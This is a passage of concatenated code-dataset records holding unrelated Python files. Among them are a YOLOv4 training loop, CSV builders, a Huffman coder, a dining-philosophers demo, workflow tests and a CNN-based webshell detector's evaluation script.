conf_loss + prob_loss\n\n gradients = tape.gradient(total_loss, model.trainable_variables)\n optimizer.apply_gradients(zip(gradients, model.trainable_variables))\n tf.print(\"=> STEP %4d/%4d lr: %.6f giou_loss: %4.2f conf_loss: %4.2f \"\n \"prob_loss: %4.2f total_loss: %4.2f\" % (global_steps, total_steps, optimizer.lr.numpy(),\n giou_loss, conf_loss,\n prob_loss, total_loss))\n # update learning rate\n global_steps.assign_add(1)\n # if global_steps < warmup_steps:\n # lr = global_steps / warmup_steps * cfg.TRAIN.LR_INIT\n # else:\n # lr = cfg.TRAIN.LR_END + 0.5 * (cfg.TRAIN.LR_INIT - cfg.TRAIN.LR_END) * (\n # (1 + tf.cos((global_steps - warmup_steps) / (total_steps - warmup_steps) * np.pi))\n # )\n # optimizer.lr.assign(lr.numpy())\n\n # writing summary data\n # with writer.as_default():\n # tf.summary.scalar(\"lr\", optimizer.lr, step=global_steps)\n # tf.summary.scalar(\"loss/total_loss\", total_loss, step=global_steps)\n # tf.summary.scalar(\"loss/giou_loss\", giou_loss, step=global_steps)\n # tf.summary.scalar(\"loss/conf_loss\", conf_loss, step=global_steps)\n # tf.summary.scalar(\"loss/prob_loss\", prob_loss, step=global_steps)\n # writer.flush()\n\n return tf.get_static_value(giou_loss), tf.get_static_value(conf_loss), tf.get_static_value(prob_loss), tf.get_static_value(total_loss)\n\n def test_step(image_data, target):\n with tf.GradientTape() as tape:\n pred_result = model(image_data, training=True)\n giou_loss = conf_loss = prob_loss = 0\n\n # optimizing process\n for i in range(len(freeze_layers)):\n conv, pred = pred_result[i * 2], pred_result[i * 2 + 1]\n loss_items = compute_loss(pred, conv, target[i][0], target[i][1], STRIDES=STRIDES, NUM_CLASS=NUM_CLASS, IOU_LOSS_THRESH=IOU_LOSS_THRESH, i=i)\n giou_loss += loss_items[0]\n conf_loss += loss_items[1]\n prob_loss += loss_items[2]\n\n total_loss = giou_loss + conf_loss + prob_loss\n\n tf.print(\"=> TEST STEP %4d giou_loss: %4.2f conf_loss: %4.2f \"\n \"prob_loss: %4.2f total_loss: %4.2f\" % (global_steps, giou_loss, conf_loss,\n prob_loss, total_loss))\n\n return tf.get_static_value(giou_loss), tf.get_static_value(conf_loss), tf.get_static_value(prob_loss), tf.get_static_value(total_loss)\n\n best = 1000000.\n f = open(\"./checkpoint/log.csv\", \"a\", newline=\"\")\n writer = csv.writer(f)\n writer.writerow([\"epoch\", \"giou_loss\"])\n\n for epoch in range(epochs):\n total_giou = 0\n total_conf = 0\n total_prob = 0\n total_loss = 0\n val_total_giou = 0\n val_total_conf = 0\n val_total_prob = 0\n val_total_loss = 0\n cnt = 0\n val_cnt = 0\n print(f\"epoch : {epoch}\")\n if epoch == 0:\n for name in freeze_layers:\n freeze = model.get_layer(name)\n unfreeze_all(freeze)\n for image_data, target in trainset:\n gi, co, pr, to = train_step(image_data, target)\n total_giou += gi\n total_conf += co\n total_prob += pr\n total_loss += to\n cnt += 1\n \n # cnt = 0\n for image_data, target in testset:\n gi, co, pr, to = test_step(image_data, target)\n val_total_giou += gi\n val_total_conf += co\n val_total_prob += pr\n val_total_loss += to\n val_cnt += 1\n\n writer.writerow([epoch, total_giou/cnt, total_conf/cnt, total_prob/cnt, total_loss/cnt, val_total_giou/val_cnt, val_total_conf/val_cnt, val_total_prob/val_cnt, val_total_loss/val_cnt])\n if val_total_loss/val_cnt < best:\n best = val_total_loss/val_cnt\n model.save(f\"./checkpoint/{epoch}-{val_total_loss/val_cnt}.h5\")\n total_giou = 0\n total_conf = 0\n total_prob = 0\n total_loss = 0\n val_total_giou = 0\n val_total_conf = 0\n val_total_prob = 0\n val_total_loss = 0\n cnt = 0\n val_cnt = 0\n \n f.close()\n\nif __name__ == '__main__':\n try:\n app.run(main)\n except SystemExit:\n print(\"error\")\n pass","repo_name":"masaki10/yolov4-for-3d-image","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":8660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73342993961","text":"bangladesh = [\"dhaka\", \"khulna\", \"jashore\"]\n\n#change list items\nbangladesh[0] = \"Dhaka\"\n\n#add a single element in the list\nbangladesh.append(\"Comilla\")\n\n#add more than one element\nbangladesh.extend([\"Vola\", \"Barishal\" ,\"Rangpour\"])\n\n#print all list\nprint(bangladesh)","repo_name":"shiamsharif/100DayesOfCode","sub_path":"Day_4/list.py","file_name":"list.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"40269617765","text":"import argparse\n\n# Define script description and the arugment list\nparser = argparse.ArgumentParser(description='Get a count of all English letters and calculate the relative distribution.')\nparser.add_argument('-i', '--input', help='name of the input text file', required=True)\nparser.add_argument('-o', '--output', help='name of the output CSV file')\nargs = parser.parse_args()\n\n# Read input text file\nin_f = open(args.input, \"r\")\n\n# Create output CSV file\nif args.output is not None:\n out_f = open(args.output, \"w\")\nelse:\n out_f = open(\"charcount.csv\", \"w\")\n\nout_f.write(\"letter,count,probability\\n\")\ncontents = in_f.read().lower()\n\n# Set global variables\neng_alpha = \"abcdefghijklmnopqrstuvwxyz\"\nchar_dict = {}\nchar_count = 0\nrel_prob_sum = 0\n\n# Get each character count and calculate max char_count\nfor chr in eng_alpha:\n char_dict[chr] = contents.count(chr)\n char_count += char_dict[chr]\n\nprint(\"Dictionary:\\nletter\\tcount\\tdistribution\")\n# Calculate relative distribution and output data to CSV\nfor chr in eng_alpha:\n rel_prob = float(char_dict[chr])/float(char_count)\n out_f.write(\"{},{},{}\\n\".format(chr,char_dict[chr], rel_prob))\n print(\"{}\\t{}\\t{}\".format(chr,char_dict[chr],rel_prob))\n rel_prob_sum += rel_prob\n\nprint(\"Relative Probability: {}\".format(rel_prob_sum))\nprint(\"Character Count: {}\".format(char_count))\n","repo_name":"ScrawnySquirrel/CharacterCount","sub_path":"charcount.py","file_name":"charcount.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10034921534","text":"# Claire Williams and Luisa Escosteguy\nimport csv\n\ndef make_publishers():\n publisher_dict = {}\n \n with open('static/Video_Games_Sales_as_at_22_Dec_2016.csv') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n headers = next(csv_reader)\n for row in csv_reader:\n publisher = row[4]\n if publisher not in publisher_dict:\n publisher_dict[publisher] = [len(publisher_dict) + 1]\n \n with open('static/publishers.csv', 'w', newline='') as new_csv_file:\n writer = csv.writer(new_csv_file, delimiter=',')\n for publisher in publisher_dict:\n writer.writerow([publisher_dict[publisher][0], publisher])\n \n return publisher_dict\n\ndef make_platforms():\n platform_dict = {}\n \n with open('static/Video_Games_Sales_as_at_22_Dec_2016.csv') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n headers = next(csv_reader)\n for row in csv_reader:\n platform = row[1]\n if platform not in platform_dict:\n platform_dict[platform] = [len(platform_dict) + 1]\n \n with open('static/platforms.csv', 'w', newline='') as new_csv_file:\n writer = csv.writer(new_csv_file, delimiter=',')\n for platform in platform_dict:\n writer.writerow([platform_dict[platform][0], platform])\n \n return platform_dict\n\ndef make_genres():\n genre_dict = {}\n \n with open('static/Video_Games_Sales_as_at_22_Dec_2016.csv') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n headers = next(csv_reader)\n for row in csv_reader:\n genre = row[3]\n if genre not in genre_dict:\n genre_dict[genre] = [len(genre_dict) + 1]\n \n with open('static/genres.csv', 'w', newline='') as new_csv_file:\n writer = csv.writer(new_csv_file, delimiter=',')\n for genre in genre_dict:\n writer.writerow([genre_dict[genre][0], genre])\n \n return genre_dict\n\ndef make_games(genre_dict, publisher_dict):\n games_dict = {}\n \n with open('static/Video_Games_Sales_as_at_22_Dec_2016.csv') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n headers = next(csv_reader)\n for row in csv_reader:\n name = row[0]\n year = row[2]\n rating = row[15]\n genre = row[3]\n publisher = row[4]\n if name not in games_dict:\n games_dict[name] = [len(games_dict) + 1, year, rating, genre_dict[genre][0], publisher_dict[publisher][0]]\n \n with open('static/games.csv', 'w', newline='') as new_csv_file:\n writer = csv.writer(new_csv_file, delimiter=',')\n for name in games_dict:\n writer.writerow([games_dict[name][0], name, games_dict[name][1], games_dict[name][2], games_dict[name][3], games_dict[name][4]])\n \n return games_dict\n\ndef make_sales():\n sales_dict = {}\n \n with open('static/Video_Games_Sales_as_at_22_Dec_2016.csv') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n headers = next(csv_reader)\n for row in csv_reader:\n game = row[0]\n platform = row [1]\n na = row[5]\n eu = row[6]\n jp = row[7]\n other = row[8]\n global_sales = row[9]\n if (game, platform) not in sales_dict:\n sales_dict[(game, platform)] = [len(sales_dict) + 1, na, eu, jp, other, global_sales]\n \n with open('static/sales.csv', 'w', newline='') as new_csv_file:\n writer = csv.writer(new_csv_file, delimiter=',')\n for key in sales_dict:\n writer.writerow(sales_dict[key])\n \n return sales_dict\n\ndef make_games_platforms(games_dict, platform_dict, sales_dict):\n games_platforms_dict = {}\n \n with open('static/Video_Games_Sales_as_at_22_Dec_2016.csv') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n headers = next(csv_reader)\n for row in csv_reader:\n game = row[0]\n platform = row[1]\n user_score = row[12]\n if user_score == \"tbd\":\n user_score = ''\n critic_score = row[10]\n if (game, platform) not in games_platforms_dict:\n games_platforms_dict[(game, platform)] = [games_dict[game][0], platform_dict[platform][0], sales_dict[(game, platform)][0], user_score, critic_score]\n \n with open('static/games_platforms.csv', 'w', newline='') as new_csv_file:\n writer = csv.writer(new_csv_file, delimiter=',')\n for key in games_platforms_dict:\n writer.writerow(games_platforms_dict[key])\n\ndef main():\n publisher_dict = make_publishers()\n platform_dict = make_platforms()\n genre_dict = make_genres() \n\n games_dict = make_games(genre_dict, publisher_dict)\n sales_dict = make_sales()\n \n make_games_platforms(games_dict, platform_dict, sales_dict)\n\nif __name__ == '__main__':\n main()","repo_name":"LuisaE/cs257","sub_path":"webapp/make_csvs.py","file_name":"make_csvs.py","file_ext":"py","file_size_in_byte":5079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29130868453","text":"\"\"\"Frame Search feature UI and event handlers\"\"\"\nimport os\nfrom typing import Callable\nimport gradio as gr\nfrom webui_utils.simple_config import SimpleConfig\nfrom webui_utils.simple_icons import SimpleIcons\nfrom webui_utils.file_utils import create_directory\nfrom webui_utils.auto_increment import AutoIncrementDirectory\nfrom webui_tips import WebuiTips\nfrom interpolate_engine import InterpolateEngine\nfrom interpolate import Interpolate\nfrom interpolation_target import TargetInterpolate\nfrom tabs.tab_base import TabBase\n\nclass FrameSearch(TabBase):\n \"\"\"Encapsulates UI elements and events for the Frame Search feature\"\"\"\n def __init__(self,\n config : SimpleConfig,\n engine : InterpolateEngine,\n log_fn : Callable):\n TabBase.__init__(self, config, engine, log_fn)\n\n def render_tab(self):\n \"\"\"Render tab into UI\"\"\"\n max_splits = self.config.search_settings[\"max_splits\"]\n default_splits = self.config.search_settings[\"default_splits\"]\n with gr.Tab(\"Frame Search\"):\n gr.HTML(SimpleIcons.MAGNIFIER +\n \"Search for an arbitrarily precise timed frame and return the closest match\",\n elem_id=\"tabheading\")\n with gr.Row():\n with gr.Column():\n img1_input_fs = gr.Image(type=\"filepath\", label=\"Before Frame\", tool=None)\n img2_input_fs = gr.Image(type=\"filepath\", label=\"After Frame\", tool=None)\n with gr.Row():\n splits_input_fs = gr.Slider(value=default_splits, minimum=1,\n maximum=max_splits, step=1, label=\"Search Precision\")\n min_input_text_fs = gr.Text(placeholder=\"0.0-1.0\",\n label=\"Lower Bound\")\n max_input_text_fs = gr.Text(placeholder=\"0.0-1.0\",\n label=\"Upper Bound\")\n with gr.Column():\n img_output_fs = gr.Image(type=\"filepath\", label=\"Found Frame\",\n interactive=False, elem_id=\"mainoutput\")\n file_output_fs = gr.File(type=\"file\", file_count=\"multiple\",\n label=\"Download\", visible=False)\n search_button_fs = gr.Button(\"Search\", variant=\"primary\")\n with gr.Accordion(SimpleIcons.TIPS_SYMBOL + \" Guide\", open=False):\n WebuiTips.frame_search.render()\n search_button_fs.click(self.frame_search,\n inputs=[img1_input_fs, img2_input_fs, splits_input_fs,\n min_input_text_fs, max_input_text_fs],\n outputs=[img_output_fs, file_output_fs])\n\n def frame_search(self,\n img_before_file : str,\n img_after_file : str,\n num_splits : float,\n min_target : float,\n max_target : float):\n \"\"\"Search button handler\"\"\"\n if img_before_file and img_after_file and min_target and max_target:\n base_output_path = self.config.directories[\"output_search\"]\n use_time_step = self.config.engine_settings[\"use_time_step\"]\n create_directory(base_output_path)\n output_path, _ = AutoIncrementDirectory(base_output_path).next_directory(\"run\")\n output_basename = \"frame\"\n\n if use_time_step:\n # use the time step feature of the model to reach the midpoint of the target range\n interpolater = Interpolate(self.engine.model, self.log)\n midpoint = float(min_target) + (float(max_target) - float(min_target)) / 2.0\n img_new = os.path.join(output_path, f\"{output_basename}@{midpoint}.png\")\n interpolater.create_between_frame(img_before_file, img_after_file, img_new,\n midpoint)\n output_paths = interpolater.output_paths\n else:\n # use binary search interpolation to reach the target range\n interpolater = Interpolate(self.engine.model, self.log)\n target_interpolater = TargetInterpolate(interpolater, self.log)\n\n self.log(f\"beginning targeted interpolations at {output_path}\")\n target_interpolater.split_frames(img_before_file, img_after_file, num_splits,\n float(min_target), float(max_target), output_path, output_basename)\n output_paths = target_interpolater.output_paths\n return gr.Image.update(value=output_paths[0]), gr.File.update(value=output_paths,\n visible=True)\n","repo_name":"jhogsett/EMA-VFI-WebUI","sub_path":"tabs/frame_search_ui.py","file_name":"frame_search_ui.py","file_ext":"py","file_size_in_byte":4661,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"18"} +{"seq_id":"1311789533","text":"import numpy as np\nimport map_note_collector as mnc\nimport random\nrandom.seed(1)\n\n\nclass MyDataHandler:\n def __init__(self, len_data=10, note_per_s=5, freq=1000):\n self.len_data = len_data\n self.note_per_s = note_per_s\n self.freq = freq\n self.training_data = []\n\n def get_training_data(self, amount):\n self.training_data = []\n for (song, notes, info) in mnc.NC.load_data(amount, self.len_data, self.note_per_s, self.freq):\n new_notes = []\n for note in notes:\n new_notes += note\n if song.shape == (self.len_data * self.freq,):\n self.training_data.append([song, np.array(new_notes)])\n\n np.random.shuffle(self.training_data)\n np.save(\"NN_stuff/NN_1/training_data.npy\", self.training_data)\n","repo_name":"kz2wd/beat-saber-map-creator","sub_path":"NN_stuff/NN_1/data_collector_NN_class.py","file_name":"data_collector_NN_class.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"26067222003","text":"\nfrom colorama import init\ninit()\nimport sys\n\nletter_block_size, letter_count_block_size, word_count_block_size = 12, 40, 40\n\ndef letter_block(string):\n ret = f'Letter \"{string}\"'\n space = letter_block_size - len(ret)\n ret += \" \" * space\n return ret\n\ndef letter_count_block(count, total):\n ret = f'Count = {str(count)} ; Percent = {\"{:.02f}\".format((count/total)*100)}'\n space = letter_count_block_size - len(ret)\n ret += \" \" * space\n return ret\n\ndef word_count_block(count, total):\n ret = f'Count = {str(count)} ; Percent = {\"{:.02f}\".format((count/total)*100)}'\n space = letter_count_block_size - len(ret)\n ret += \" \" * space\n return ret\n\nletter_block(\"a\")\n\nfr = open(\"./WordSolve/_5_letter_words_sorted.txt\", \"r\")\n# fw = open(\"./word_stats/word_stats.txt\", \"w\")\n# sys.stdout = fw \n\nwords = fr.read().split(\"\\n\")\nfr.close()\n# words.remove(\"\\n\")\n\nletters = \"abcdefghijklmnopqrstuvwxyz\"\noccurrances = list()\nfor letter in letters:\n letter_count = 0\n word_count = 0\n for word in words:\n c = word.count(letter)\n if c > 0:\n word_count += 1\n letter_count += c\n \n occurrances.append((letter, letter_count, word_count))\n\nstats = list()\nword_size = len(words)\nletter_size = word_size * 5\nprint(f\"Letter{' ' * (letter_block_size - 6)} | Letter count & percent of all letters{' ' * (letter_count_block_size - 37)} | Word count & percent of all words{' ' * (word_count_block_size - 33)}\")\nprint(f\"Total{' ' * (letter_block_size - 5)} | Letter total = {str(letter_size)}{' ' * (letter_count_block_size - 15 - len(str(letter_size)))} | Word total = {str(word_size)}{' ' * (word_count_block_size - 13 - len(str(word_size)))}\")\nfor (letter, letter_count, word_count) in occurrances:\n print(f\"{letter_block(letter)} | {letter_count_block(letter_count, letter_size)} | {word_count_block(word_count, word_size)}\")\n\n# fw.close\n","repo_name":"BAXENdev/BaxWordleSolver","sub_path":"WordSolve/src/tools/word_occurrence.py","file_name":"word_occurrence.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"36263823705","text":"import os\nimport shutil\nimport visip.dev.tools as tools\nimport visip as wf\nfrom visip.dev import evaluation\nscript_dir = os.path.dirname(os.path.realpath(__file__))\n\ndef eval():\n return evaluation.Evaluation(workspace=script_dir)\n\n\n@wf.action_def\ndef read_file(input: wf.FileIn) -> int:\n with open(input.path, \"r\") as f:\n content = f.readlines()\n return len(content)\n\n\nMY_FILE = \"my_file.txt\"\nWORKSPACE = \"_workspace\"\n@wf.analysis\ndef my_file_count() -> int:\n return read_file(wf.file_in(MY_FILE, workspace=WORKSPACE))\n\ndef test_file():\n print(\"Root workspace: \", os.getcwd())\n os.makedirs(WORKSPACE, exist_ok=True)\n with open(os.path.join(WORKSPACE, MY_FILE), \"w\") as f:\n f.write(\"one\\ntwo\\nthree\")\n result = evaluation.run(my_file_count)\n # print(result)\n assert result == 3\n\n\n\n@wf.workflow\ndef system_test_wf(self, script_name: str) -> wf.ExecResult:\n script = wf.file_in(script_name)\n self.msg = wf.system(\n ['echo', \"Hallo world\"],\n stdout=wf.file_out('msg_file.txt'))\n self.msg_file = wf.file_in('msg_file.txt', self.msg.workdir)\n self.res = wf.system(['python', script, \"-m\", self.msg_file, \"123\"], stdout=wf.SysFile.PIPE, stderr=wf.SysFile.STDOUT)\n return self.res\n\ndef test_system():\n \"\"\"\n Test system action with mock command.\n :return:\n \"\"\"\n try:\n os.remove(os.path.join(script_dir, \"msg_file.txt\"))\n except FileNotFoundError:\n pass\n\n print(\"Root workspace: \", os.getcwd())\n script_name = \"_mock_script_test_system.py\"\n result = eval().run(system_test_wf, script_name).result\n assert result.stdout == b\"I'm here.\\n\"\n\n\ndef prepare_workspace_template():\n with tools.change_cwd(script_dir):\n shutil.rmtree(\"_workspace\", ignore_errors=True)\n os.makedirs(\"_workspace\")\n shutil.copyfile(os.path.join(\"inputs\", \"darcy_flow.yaml.tmpl\"),\n os.path.join(\"_workspace\", \"darcy_flow.yaml.tmpl\"))\n\n print(\"Root workspace: \", os.getcwd())\n\n\ndef test_file_from_template():\n prepare_workspace_template()\n result = eval().run(wf.file_from_template,\n wf.file_in('_workspace/darcy_flow.yaml.tmpl'),\n dict(MESH='my_mesh.msh')).result\n\n with open(os.path.join(script_dir, \"_workspace\", \"darcy_flow.yaml\"), \"r\") as f:\n content = f.read()\n assert content.find('my_mesh.msh')\n\n@wf.analysis\ndef my_mesh_yaml():\n return wf.file_from_template(wf.file_in('_workspace/darcy_flow.yaml.tmpl'), dict(MESH='my_mesh.msh'))\n\n\ndef test_file_from_template_wf():\n prepare_workspace_template()\n result = eval().run(my_mesh_yaml).result\n with open(os.path.join(script_dir, \"_workspace\", \"darcy_flow.yaml\"), \"r\") as f:\n content = f.read()\n assert content.find('my_mesh.msh')\n\n\ndef test_file_action_skipping():\n # Test that external operations are skipped once files are the same\n pass\n","repo_name":"GeoMop/visip","sub_path":"testing/action/test_std.py","file_name":"test_std.py","file_ext":"py","file_size_in_byte":2922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"39249266575","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport json\nfrom functools import reduce\nfrom configparser import ConfigParser\n\nimport tflearn\nfrom numpy import argmax\nfrom sklearn import model_selection, metrics\n\nimport training\n\n\nconfig = ConfigParser()\nconfig.read('config.ini')\nblack_files = config['training']['black_files']\nwhite_files = config['training']['white_files']\nmodel_record = config['training']['model_record']\n\n\ndef test_model(x1_code, y1_label, x2_code, y2_label):\n global model_record\n\n x1_code.extend(x2_code)\n y1_label.extend(y2_label)\n\n print('serializing opcodes')\n training.serialize_codes(x1_code)\n\n x_train, x_test, y_train, y_test = model_selection.train_test_split(x1_code, y1_label, shuffle=True)\n print('trainning set size: {0}'.format(len(x_train)))\n print('testing set size: {0}'.format(len(x_test)))\n\n record = json.load(open(model_record, 'r'))\n seq_length = len(reduce(lambda x, y: x if len(x) > len(y) else y, x1_code))\n optimizer = record['optimizer']\n learning_rate = record['learning_rate']\n loss = record['loss']\n n_epoch = record['n_epoch']\n batch_size = record['batch_size']\n\n x_train = tflearn.data_utils.pad_sequences(x_train, maxlen=seq_length, value=0.)\n x_test = tflearn.data_utils.pad_sequences(x_test, maxlen=seq_length, value=0.)\n\n y_train = tflearn.data_utils.to_categorical(y_train, nb_classes=2)\n\n network = training.create_network(\n seq_length,\n optimizer=optimizer,\n learning_rate=learning_rate,\n loss=loss\n )\n model = tflearn.DNN(network, tensorboard_verbose=0)\n model.fit(\n x_train, y_train,\n n_epoch=n_epoch,\n shuffle=True,\n validation_set=0.1,\n show_metric=True,\n batch_size=batch_size,\n run_id='webshell')\n\n y_pred = model.predict(x_test)\n y_pred = argmax(y_pred, axis=1)\n\n print('metrics.accuracy_score:')\n print(metrics.accuracy_score(y_test, y_pred))\n print('metrics.confusion_matrix:')\n print(metrics.confusion_matrix(y_test, y_pred))\n print('metrics.precision_score:')\n print(metrics.precision_score(y_test, y_pred))\n print('metrics.recall_score:')\n print(metrics.recall_score(y_test, y_pred))\n print('metrics.f1_score:')\n print(metrics.f1_score(y_test, y_pred))\n\n\nif __name__ == '__main__':\n print('loading black files...')\n black_code_list = training.get_all_opcode(black_files)\n black_label = [1] * len(black_code_list)\n print('{0} black files loaded'.format(len(black_code_list)))\n\n print('loading white files...')\n white_code_list = training.get_all_opcode(white_files)\n white_label = [0] * len(white_code_list)\n print('{0} white files loaded'.format(len(white_code_list)))\n\n test_model(black_code_list, black_label, white_code_list, white_label)\n ","repo_name":"gsfish/cnn-webshell-detect","sub_path":"test_model_metric_new.py","file_name":"test_model_metric_new.py","file_ext":"py","file_size_in_byte":2827,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"44"} +{"seq_id":"73614577091","text":"from collections import Counter\nfrom operator import itemgetter\nfrom pprint import pprint\n\n\ndef prepare_answer_encode() -> str:\n \"\"\"\n Функция подготовки ответа для тестов на создание кода Хаффмана.\n\n :return: Строка с ответом на задание\n \"\"\"\n input_string = input()\n answer = list()\n code = make_code(input_string)\n translation_table = str.maketrans(code)\n encoded_string = input_string.translate(translation_table)\n answer.append(f'{len(code.keys())} {len(encoded_string)}')\n for letter, coding in code.items():\n answer.append(f'{letter}: {coding}')\n answer.append(encoded_string)\n return \"\\n\".join(answer)\n\n\ndef make_code(input_string: str) -> dict:\n \"\"\"\n Построение дерева по заданной строке\n\n :param input_string: Строка для которой будет построено дерево\n частот\n :return: Список из символа, его частоты и списка для кода Хаффмана\n \"\"\"\n counts = list(Counter(input_string).items())\n codes = {key[0]: '' for key in counts}\n\n while True:\n counts.sort(key=itemgetter(1))\n\n left_letter, left_weight = counts.pop(0)\n for letter in left_letter:\n codes[letter] = '0' + codes[letter]\n\n right_letter, right_weight = counts.pop(0) if counts else ('', 0)\n for letter in right_letter:\n codes[letter] = '1' + codes[letter]\n counts.append((left_letter + right_letter, left_weight + right_weight))\n\n if len(counts) == 1:\n break\n return codes\n\n\ndef prepare_answer_decode():\n \"\"\"\n Функция для разбора строк с кодом Хаффмана для символов\n и вывода результата для тестов.\n \"\"\"\n symbols_num, _ = input().split()\n symbols_num = int(symbols_num)\n\n codes = dict()\n for _ in range(symbols_num):\n symbol, code = input().split(': ')\n codes[code] = symbol\n encoded_string = input()\n\n current = ''\n result = ''\n for symbol in encoded_string:\n current += symbol\n if current not in codes:\n continue\n result += codes[current]\n current = ''\n return result\n\n\nif __name__ == \"__main__\":\n print(prepare_answer_decode())\n","repo_name":"FedoseevAlex/algorithms","sub_path":"algorithms/Huffman.py","file_name":"Huffman.py","file_ext":"py","file_size_in_byte":2414,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"38459802515","text":"from multiprocessing import Process\nfrom multiprocessing import Condition, Lock\nfrom multiprocessing import Array, Value\nimport time\nimport random\n\nfrom monitor import Table\n\nNPHIL = 5 #Número de filósofos\n\ndef delay(n):\n time.sleep(random.random()/n)\n \ndef philosopher_task(num:int, table: Table):\n while True: #Los filósofos nunca paran de pensar y de comer\n print (f\"Philosofer {num} thinking\")\n print (f\"Philosofer {num} wants to eat\")\n table.wants_eat(num)\n print (f\"Philosofer {num} eating\")\n delay(3)\n table.wants_think(num)\n print (f\"Philosofer {num} stops eating\")\n \ndef main():\n index = Value('i', 0) #Índice que guarda la posición del filósofo que quiere comer\n storage = Array('i',NPHIL)\n \"\"\"\n storage guarda la información sobre los tenedores disponibles. Para cada posición\n num2 and self.m_symbol.m_name[1]=='_':\r\n for mp in list_map:\r\n if mp in list_new:\r\n list_map.remove(mp)\r\n else:\r\n list_map=dictToList(pool)\r\n # list_map=pool.get(self.m_symbol.m_name,[])\r\n # print('pool:',pool)\r\n if self.m_buildMode==False or areaType==False:\r\n name=self.m_symbol.m_name\r\n # function points\r\n if self.isFunctionPoint()==1:\r\n if self.m_map==None:\r\n point=NetP(name,self.m_symbol.m_text)\r\n point.m_needed=self\r\n point.m_creator=self\r\n self.map(point)\r\n else:\r\n self.m_map.delete()\r\n del self.m_map\r\n self.map(None)\r\n return\r\n elif self.isFunctionPoint()==2:\r\n # function points [P] don't find map from pool\r\n if self.m_map==None:\r\n point=NetP(name,self.m_symbol.m_text)\r\n point.m_needed=self\r\n self.map(point)\r\n self.m_interp=True\r\n else:\r\n self.m_map.delete()\r\n self.m_map=m_needed=None\r\n self.map(None)\r\n return\r\n\r\n # only take real points when karma is start with _ and ~\r\n list_have=[]\r\n for point in list_map:\r\n if self.selfType()=='实万用链节' or self.selfType()=='实否定链节':\r\n if point.m_creator!=None or point.m_needed==None:\r\n list_have.append(point)\r\n # else:\r\n # pass\r\n # print('Erased from map_list:',point.info(),', it should be an imagine point.')\r\n else:\r\n list_have.append(point)\r\n mp=self.m_map\r\n self.map(self.nextInlist(mp,list_have))\r\n return\r\n else:\r\n name=self.m_symbol.m_name\r\n # answer questions\r\n # +word(,)\r\n if name!='' and (name[0]!='[' or name[-1]!=']'):\r\n if self.m_map!=None:\r\n self.m_map.m_creator=None\r\n if self.m_map.m_needed==None:\r\n self.m_map.delete()\r\n self.map(None)\r\n return\r\n else:\r\n self.m_map.m_name='['+self.m_map.m_name+']'\r\n list_need=[]\r\n for point in list_map:\r\n if point.m_creator==None and point.m_needed!=None:\r\n list_need.append(point)\r\n point=self.m_map\r\n self.map(self.nextInlist(point,list_need))\r\n if self.m_map==None:\r\n if self.m_restricted==True:\r\n self.map(None)\r\n return\r\n point=NetP(self.m_symbol.m_name,self.m_symbol.m_text)\r\n self.map(point)\r\n else:\r\n self.m_map.m_name=self.m_map.m_name[1:-1]\r\n self.m_map.m_creator=self\r\n return\r\n # +[word](,)\r\n else:\r\n if self.m_map==None:\r\n point=NetP(name,self.m_symbol.m_text)\r\n point.m_needed=self\r\n self.map(point)\r\n return\r\n else:\r\n self.m_map.m_needed=None\r\n self.m_map.delete()\r\n self.map(None)\r\n return\r\n\r\n self.map(None)\r\n\r\n\r\n def nextInlist(self,point,list_pt):\r\n if list_pt==[]:\r\n return None\r\n if point==None:\r\n return list_pt[0]\r\n \r\n try:\r\n i=list_pt.index(point)\r\n except:\r\n return None\r\n \r\n if i+1>=len(list_pt):\r\n return None\r\n else:\r\n return list_pt[i+1]\r\n\r\n def map(self,point):\r\n self.m_map=point\r\n self.m_stage=0\r\n self.m_interp=False\r\n self.m_reState=''\r\n self.m_choose=True\r\n for clause in self.m_clause:\r\n clause.map(None)\r\n for end in self.m_noe:\r\n end.map(None)\r\n for end in self.m_yese:\r\n end.map(None)\r\n \r\n if self.m_map!=None:\r\n cause=self.m_cause\r\n while cause!=None:\r\n # function relation points\r\n if cause.needBuildRelation():\r\n if cause.m_map.m_needed==None or cause.m_map.m_needed==cause:\r\n if cause.m_symbol.m_db[0]==self.m_symbol:\r\n cause.m_map.connect(self.m_map,0)\r\n if cause.m_symbol.m_db[1]==self.m_symbol:\r\n cause.m_map.connect(self.m_map,1)\r\n if self.needBuildRelation():\r\n if self.m_map.m_needed==None or self.m_map.m_needed==self:\r\n if self.m_symbol.m_db[0]==cause.m_symbol:\r\n self.m_map.connect(cause.m_map,0)\r\n if self.m_symbol.m_db[1]==cause.m_symbol:\r\n self.m_map.connect(cause.m_map,1)\r\n cause=cause.m_cause\r\n\r\n def buildingNewMap(self):\r\n if self.m_map==None:\r\n return False\r\n elif self.m_buildMode==False:\r\n return False\r\n elif self.m_map.m_needed==None:\r\n return True\r\n return False\r\n\r\n def needBuildRelation(self):\r\n if self.buildingNewMap():\r\n return True\r\n elif self.isFunctionPoint()!=0:\r\n return True\r\n return False\r\n \r\n def selfType(self):\r\n name=self.m_symbol.m_name\r\n if 